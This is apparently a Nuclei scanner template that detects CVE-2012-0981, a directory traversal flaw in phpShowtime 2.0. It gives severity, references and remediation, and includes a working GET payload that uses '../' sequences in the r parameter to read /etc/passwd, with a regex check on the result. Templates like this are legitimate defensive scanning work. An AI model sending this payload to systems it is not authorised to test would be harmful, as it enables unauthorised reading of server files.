id: CVE-2012-0981

info:
  name: phpShowtime 2.0 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade to a patched version of phpShowtime or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/18435
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0981
    - http://www.exploit-db.com/exploits/18435
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72824
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-0981
    cwe-id: CWE-22
    epss-score: 0.1097
    epss-percentile: 0.95325
    cpe: cpe:2.3:a:kybernetika:phpshowtime:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kybernetika
    product: phpshowtime
  tags: cve,cve2012,phpshowtime,edb,lfi,kybernetika,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?r=i/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402203e6f506c8bc77a1b40c642256e58a0b0c47cf307d7e1b4b3c4f4ff51c9c349bf022027e893413759eae0abdfa8ab505e5ec298cbd2b3ad0ddc9c20505886d23e8e5a:922c64590222798bb761d5b6d8e72950